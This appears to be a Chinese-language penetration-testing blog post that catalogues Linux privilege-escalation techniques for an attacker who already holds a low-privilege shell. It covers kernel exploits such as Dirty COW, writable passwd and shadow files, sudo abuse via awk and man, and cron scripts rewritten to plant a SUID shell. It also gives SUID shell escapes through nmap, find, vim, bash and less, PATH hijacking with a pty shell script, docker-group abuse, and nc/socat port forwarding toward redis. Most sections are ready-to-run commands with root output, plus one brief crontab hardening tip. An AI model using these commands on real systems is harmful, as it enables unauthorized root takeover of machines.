前言

提权方式总结

利用内核漏洞提权

​ 当我们渗透时获得一个低权限的shell时,内核漏洞应该是最先想到的提权方法。比如前几年很流行的”脏牛漏洞“,直接利用系统里面自带的软件或者内核存在的漏洞。

,要判断我们应该先对系统相关的信息进行收集。

利用前提:
  • 已经拿到低权限shell
  • 目标系统上有gcc
  • 有上传文件的权限

使用命令

1
uname -a  或  uname -r

这样,我们就得到了系统的内核版,cpu架构,和发行版等信息

然后我们就可以使用kali自带的searchsploit来搜索利用代码。

这里在推荐一个很好用的工具

Linux Exploit Suggester

​ linux exploit_Suggester是一款根据操作系统版本号自动查找相应提权脚本的工具,如果不带任何参数运行该脚本的话,将执行uname -r返回的操作系统发行版本,或者手工输入-k参数查找指定版本号。

下载地址:https://github.com/InteliSecureLabs/Linux_Exploit_Suggester

举个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ perl ./Linux_Exploit_Suggester.pl -k 3.0.0

Kernel local: 3.0.0

Possible Exploits:
[+] semtex
CVE-2013-2094
Source: www.exploit-db.com/download/25444/‎
[+] memodipper
CVE-2012-0056
Source: http://www.exploit-db.com/exploits/18411/
[+] perf_swevent
CVE-2013-2094
Source: http://www.exploit-db.com/download/26131
提权步骤
  • 找到具备利用条件的exp
  • 上传源代码
  • 编译exp后执行
脏牛漏洞
1
2
3
4
5
漏洞描述:
漏洞编号:CVE-2016-5195
漏洞名称:脏牛(Dirty COW)
漏洞危害:低权限用户利用该漏洞技术可以在全版本上实现本地提权
影响范围:Linux kernel >=2.6.22 并且Android也受影响

明文 root 密码提权

情况极少。。。。

passwd 储存了用户,全用户可读,root 可写 shadow 存储密码的 hash,仅 root 可读写

passwd 文件:

passwd 由冒号分割,第一列是用户名,第二列是密码,x 代表密码 hash 被放在 shadow 里面了(这样非 root 就看不到了)。而 shadow 里面最重要的就是密码的 hash

以非root用户打开,提示没有权限。

信息收集

查看两个文件:

1
ls -l /etc/passwd /etc/shadow
利用方法
  • shadow中存储了用户的密码hash,但是如果passwd可写,将passwd中的x改为一个已知密码的hash,那么系统在验证密码时将以passwd的为准。
  • shadow可读的情况下,可以使用john或其他来进行暴力破解hash。

sudo 滥用

sudo 是一个linux经常用到的命令,比如执行权限不够时加 sudo 执行,sudo 是让普通用户使用超级用户的命令。其配置文件为 /etc/sudoers,文件定义可以执行 sudo 的账户、定义某个应用程序用 root 访问、是否需要密码验证。

查看可以执行哪些命令,即不需要知道 root 密码时,需验证自身普通权限的密码

sudo -l

可以支持所有命令,下面参考这个网址:

https://gtfobins.github.io/

这里以 awk、man 举例

1、su

sudo su

输入普通权限用户密码,切换为 root

2、awk

sudo awk ‘BEGIN {system(“/bin/sh”)}’

3、man

sudo man man

计划任务

ls -l /etc/cron*

非 root 权限的用户是不可以列出 root 用户的计划任务的。但是 /etc/ 内系统的计划任务可以被列出,并且默认这些程序以 root 权限执行

重写 python

若这些计划任务的脚本可写,则编辑为 shell

crontab 文件是计划任务的配置,此文件只有 root 可写,我们不需要去修改 crontab,只查看里面的有哪些任务,比如定时执行了哪些脚本,再查看对应脚本的权限,若可写,则修改它。

测试:

cat /etc/crontab

我没有设置定时任务,模拟一下,如果里面有个 1.python

ls -al /tmp/1.py //查看是否有w权限

cat -al /tmp/1.py //写入代码 import os os.system(‘cp /bin/sh /tmp/sh’) os.system(‘chmod u+s /tmp/sh’)

当到了计划执行时间,就会以 root 权限执行 1.py,即将 /bin/sh 复制到 /tmp/sh

原本是没有 /tmp/sh

当执行 sudo python 1.py 时,就会复制到 /tmp/sh

我们只需要进入 /tmp,执行 ./sh 可获取 root

这里的 cp 命令是基于 SUID,给 1.py 设置 SUID 权限。可以结合环境变量方式,把 /tmp/sh 添加到环境变量,无需进入 /tmp/sh 去执行 ./sh,执行 sh 变为 root。也可以在 1.py 写入反弹 shell 的 python 代码,此时反弹的 shell 具有 root 权限

防范:

crontab 任务千万不要写到 /etc/crontab 文件里。通过 crontab -e 去创建,让他写到默认的 /var/spool/cron下;创建任务时,避免使用 root 去创建任务,若用 root 创建任务,注意设置权限,避免 root 权限执行任务。

SUID提权

​ SUID 是一种特殊的文件属性,它允许用户执行的文件以该文件的拥有者的身份运行,ls 查看时有 s 属性才支持 SUID。比如passwd命令,就是以root权限运行来修改shadow的。

​ suid提权:

​ 利用拥有suid的文件执行命令,从而提升权限至root

利用方法:

常见可用来提权的linux可行性的文件列表如下:

  • Nmap
  • Vim
  • find
  • Bash
  • More
  • Less
  • Nano
  • cp

查找系统上运行的所有SUID可执行文件:

1
2
3
1. find / -user root -perm -4000 -print 2>/dev/null
2. find / -perm -u=s -type f 2>/dev/null
3. find / -user root -perm -4000 -exec ls -ldb {} \;

例NMAP

较旧版本的Nmap(2.02至5.21)具有交互模式,允许用户执行shell命令。由于Nmap在使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。

交互模式可以通过执行Nmap参数” interactive “

1
nmap --interactive

以下命令将提供一个提升的shell。

1
2
3
nmap> !sh
sh-3.2# whoami
root

也可以通过Metasploit模块对Nmap的二进制文件进行权限提升。

1
exploit/unix/local/setuid_nmap
例Find

如果Find命令也是以Suid权限运行的话,则将通过find执行的所有命令都会以root权限执行。

1
2
touch pentestlab
find pentestlab -exec whoami \;
1
2
3
touch getflag
find / -type f -name getflag -exec "whoami" \;
find / -type f -name getflag -exec "/bin/sh" \;
例VIM

Vim是Linux环境下的一款文件编辑器。但是,如果以SUID运行的话,它会继承root用户的权限,因此可以读取系统上的所有文件。

1
vim.tiny /etc/shadow
1
2
3
4
vim.tiny
# Press ESC key
:set shell=/bin/sh
:shell
例Bash

以下命令将以root权限打开一个bash shell.

1
2
3
bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(serv
例Less

Less和More都执行以用来提权。

1
2
less /etc/passwd
!/bin/sh

环境变量劫持-SUID 扩展

通过劫持环境变量,达到执行任意命令的目的。上述只是执行 cat 命令,但我们最终目的是为了提权,而不是以 root 权限只执行单个 cat 命令。

linux 下执行命令,如 cat,是去环境变量查找 ,将 cat 替换

测试:

把新建一个 /tmp/cat,而 cat 内容为我们脚本,当用户执行 cat 命令,cat /etc/shadow,则执行我们的脚本

1
2
3
4
5
6
cat >> /tmp/ls <<EOF  
#!/usr/bin/python
print "this is not the true cat"
print "here is a root shell!"
import pty;pty.spawn("/bin/sh")
EOF

此时再执行 ./suid-exp,可执行我们定义的脚本,因为 suid-exp 以管理员执行 cat 命令,而 linux 的 system 是根据环境变量来执行 cat 的,原本是默认的 cat,当修改了之后,cat 就不再是原来的 cat,而是我们自己定义的脚本,从而达到执行任意命令的目的,即可去提权。

docker 组提权

docker组用户提权,目的是利用docker组的用户来提权,因为docker组用户在容器下为root权限,通过挂载方式在容器下给本机添加sudo权限的用户,从而可以利用sudo命令。如果没有拥有sudo权限的用户,是无法执行sudo命令,在kali下会提示用户不在sudoers等提示。

可以参考这篇文章: 《Docker提权实战测试》 https://www.secquan.org/Discuss/1070515

服务漏洞

netstat -antup #查看各种网络服务

然后把敏感端口转发出来,用本地的工具进行攻击,可能拿到远程 root,即通过漏洞拿到 root 权限 windows 用 lcx 做端口转发,linux 用 nc、socat 做端口转发

1、redis 反弹 shell

nc 单向转发

nc -l 12345 | nc 192.168.191.170 80

双向转发

mkfifo backpipe nc -l 12345 0<backpipe | nc 192.168.191.170 80 1>backpipe

双向转发本人测试失败,希望大佬们提供解决的办法

socat

测试本地转发,service apache2 start,把 80 端口转发到其它端口,看是否能访问,这里测试成功

socat TCP-LISTEN:8080,fork TCP:192.168.191.170:80

这里可以参考这篇文章,作者先执行 ps -fu root,发现开放 redis 端口,把 redis 端口转发出来,利用 redis 反弹远程的 root shell。一次简单 linux 提权:

https://www.secquan.org/Discuss/1069715#reply8

参考文章

https://www.freebuf.com/articles/system/129549.html

https://cloud.tencent.com/developer/article/1544037

https://www.xmsec.cc/guide-linux-privilege-escalation/